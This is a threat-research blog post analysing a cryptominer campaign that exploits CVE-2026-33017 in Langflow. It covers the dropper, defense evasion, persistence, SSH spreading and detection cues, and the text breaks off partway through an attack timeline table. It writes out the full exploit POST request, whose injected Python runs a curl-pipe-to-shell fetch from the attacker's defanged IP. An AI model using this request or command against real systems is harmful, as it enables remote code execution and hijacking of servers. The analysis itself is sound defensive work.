Cyber Threats From Langflow to Monero: Inside CVE-2026-33017 Cryptominer We tracked a cryptocurrency-mining campaign exploiting CVE-2026-33017, which revealed how threat actors are now scanning exposed AI application infrastructure for their next foothold. By: Simon Dulude Jun 23, 2026 Read time: ( words) Save to Folio Key takeaways We observed a cryptocurrency-mining campaign exploiting CVE-2026-33017, an unauthenticated remote code execution (RCE) vulnerability in Langflow. While the underlying cryptominer tool chain is not new, our analysis shows a shift in its delivery vector, which now targets exposed AI application endpoints. The malware disables host-level security controls, deploys a customized miner, and establishes persistence. This can consume system resources, degrade performance, and increase costs. The malware can also spread to other systems through reused SSH keys, turning an exposed Langflow instance into a foothold for broader compromise. Organizations using Langflow should determine whether any instances are exposed to the public internet and whether the application runs under a privileged account or on infrastructure with access to other systems. Apply relevant Langflow security updates, restrict public access to Langflow instances, and review whether the service runs with more privileges than required. Treat any signs of compromise as a potential incident. Introduction This cryptocurrency-mining campaign shows how exposed AI application endpoints are becoming another route into enterprise environments. The payload might be familiar, but the delivery vector is not. A Langflow vulnerability gives commodity cryptominer operators a new front door into systems running AI application infrastructure. In this campaign, a single line of Python code evaluated inside an unauthenticated Langflow API endpoint pulls down a shell script, fetches a miner binary, and launches it detached. Within minutes, the binary has killed every rival cryptocurrency miner process it can name, disabled every host-level security control that Linux offers, planted cron-based persistence, and begun beaconing to its C&C, all before the SSH-worm stage in the dropper has finished iterating the victim’s key ring. What is novel is that front door. Commodity cryptominer operators, the same threat actors that have ridden Docker API exposure, Confluence vulnerabilities, and SSH brute force flaws for years, are now mass-scanning unauthenticated AI application endpoints. Langflow is today’s target, but the pattern generalizes to any AI pipeline tool deployed with default credentials or missing authentication. The payloads behind the door have existed, in some cases with the same filename and install path, since at least May 2024. The delivery vector is the only thing that moved. This is a full-chain walkthrough of that pivot. A single seed indicator of compromise (IoC) tracked across 19 days of observed Langflow exploitation via CVE-2026-33017. The attack chain also includes a UPX-packed Go binary that treats every host it lands on as already contested: its own rival-kill list, its own defense-evasion sequence, its own C&C client, and its own persistence. Langflow is not the first AI application framework to become a commodity-miner delivery vector, and it will not be the last. What changes between campaigns is rarely the payload, but the front door. The attack chain The initial access is done by exploiting CVE-2026-33017 , a vulnerability related to an unauthenticated POST to Langflow's /api/v1/build_public_tmp/{flow_id}/ flow endpoint, from which an attacker-supplied Python script executes __import__('os').system('curl hxxp[://]83[.]142[.]209[.]214:8080/isp.sh | sh'). That one line drops the rest of the attack chain. The operator reuses a single hardcoded flow_id across every exploit attempt. The dropper isp.sh is a short bash script whose job is to check whether a binary called lambsys is already running. It creates a hidden persistence directory at /var/tmp/.xlamb /, downloads that binary via curl or wget, launches it detached, and then spreads itself to every SSH-reachable host the victim can authenticate to by enumerating key files and agent sockets. Security control disablement, rival miner kills, and persistence all happen inside lambsys itself, not the dropper. lambsys.elf is an ELF executable written in Go. Before it ever hashes, it runs a strict setup sequence: Raise ulimit to sustain enough sockets for a mining pool. Run pkill commands against rival cryptominers, mining pools, and other known process-hiding techniques. Kill processes on 13 common mining ports (via netstat) and terminate (-9) anything referenced by hidden PID files under /tmp/.X11-unix / and /tmp/.systemd. *. Delete the akay and vfinder accounts and backdoor logins from earlier Linux miner campaigns. Disable AppArmor, UFW, iptables, SELinux, the kernel NMI watchdog, and Alibaba Cloud’s Aliyun agent. Strip chattr +i locks on cron, /tmp , and SSH infrastructure, and delete /var/log/syslog. Plant two persistence watchdogs: a cron job every five minutes, and a bash loop (init_rmount) every 60 seconds. Both are able to repull the binary from C&C then lock /tmp and /var/tmp with chattr +iua. After accomplishing these steps, it begins C&C beaconing through a JSON heartbeat POSTed to 83[.]142[.]209[.]214:80/status.php every ~128 seconds. Separately, it pulls ks.tar, MD5-verifies it, and extracts a customized XMRig miner (procq) into a triple-dot-space hidden directory. The extracted miner connects to a pool on TCP/3333. Our analysis provides the “why” behind each stage and their implications for detection and response. Stage 1: Exploiting CVE-2026-33017 Langflow is a Python framework for building large language model-backed (LLM) workflows as visual flow graphs. One of its API endpoints, POST /api/v1/build_public_tmp /{flow_id} /flow , accepts a JSON body containing a code field and evaluates that code as Python in the service’s own process context. The endpoint is unauthenticated. It exists to let users prototype flows without logging in. What it actually does, in any instance exposed to the public internet, is handing a full, server-side code execution to anyone who sends a POST. It is the second time in a year that Langflow has shipped this class of bug. The first, CVE-2025-3248 , was exploited in June 2025 by the Flodrix distributed denial-of-service (DDoS) botnet operators using essentially the same primitive. The current wave shifts the payload from Flodrix to a cryptocurrency miner, but the exploit surface is identical. The request that the operator sends looks like the following: POST /api/v1/build_public_tmp/0ee284cc-0eb1-493f-bc60-94fa8d1cfd18/flow HTTP/1.1 Host: <victim-langflow-instance> User-Agent: python-requests/2.25.1 Content-Type: application/json {"code": "__import__('os').system('curl hxxp[://]83[.]142[.]209[.]214:8080/isp.sh | sh')"} There are three notable aspects here: flow_id UUID 0ee284cc-0eb1-493f-bc60-94fa8d1cfd18: Langflow expects this UUID to correspond to an existing public flow in the target instance, and the endpoint does verify this. However, Langflow ships with AUTO_LOGIN enabled by default, which hands any unauthenticated visitor with a superuser token and the ability to create a public flow on demand. This issue was fixed by this commit on March 13, 2026. The operator has hardcoded this single UUID across every exploit attempt in our window: eight POSTs from 83[.]142[.]209[.]214 alone, all to the same flow_id. That reuse is an operational mistake from the operator's perspective and an opportunity to defenders. User-Agent python-requests/2.25.1: On its own, it is nothing; python-requests is the default UA of the Python request library, shipped in tens of thousands of legitimate scripts. However, across the captured Langflow exploitation traffic, 43 of 61 total requests from this seed IP use it, while the other 18 are a rotating mix of spoofed browser UAs (e.g., Kubuntu Chrome, Knoppix Chrome, iPad Mobile Safari, Firefox 3.6.12) that the operator fires during an initial reconnaissance burst before switching to the genuine python-requests UA for actual exploitation. The rotation is the operator’s attempt to blend reconnaissance with browser noise, while the stable python-requests for exploit is operational shortcut. Either half of that pattern, caught in isolation, is a detection opportunity. The primitive __import__('os').system(…): Python’s __import__ is a dunder function normally used by the interpreter internally, but accessible to any eval-context. It bypasses any static analysis that watches for the string import os. Combined with os.system, it gives the operator a direct shell without needing to write a Python-native payload. The command it runs is a generic malware delivery primitive: curl … | sh. There is nothing about this primitive that is Langflow-specific. An identical command would work against any Python-based RCE flaw. Observed attack timeline The table below captures every observed action from 83[.]142[.]209[.]214 across a 19-day window (March 27 to April 15, 2026). Eight numbered rows are exploit POSTs, while the unnumbered rows are the recon probes, auto_login checks, and TLS handshakes that bracket them. The pattern is a deliberate cadence: Fingerprint with spoofed UAs, pause, switch to a stable python-requests UA for exploitation, probe auto_login before each dropper burst, and return days later with the same flow ID and evasion-renamed class (FFComponent/flowChat) to confirm persistence. Timestamp (UTC) Activity Payload/Detail Operational Security (OPSEC) Notes 2026-03-27; 18:50:10 – 18:50:15 UA rotation recon (10 requests in five seconds) GET /, /api/v1/version , /health , /health_check , /manifest.json with distinct spoofed UAs: Safari/16.1.13 (Mac), Chrome/136 (Kubuntu), Firefox/3.6 (Linux, 2010-era), Chrome/126 (Win10), Chrome/114 (Linux), Firefox/3.6.14, Firefox/58, Safari (Mac 10.15.7, 10.14.6) Deliberat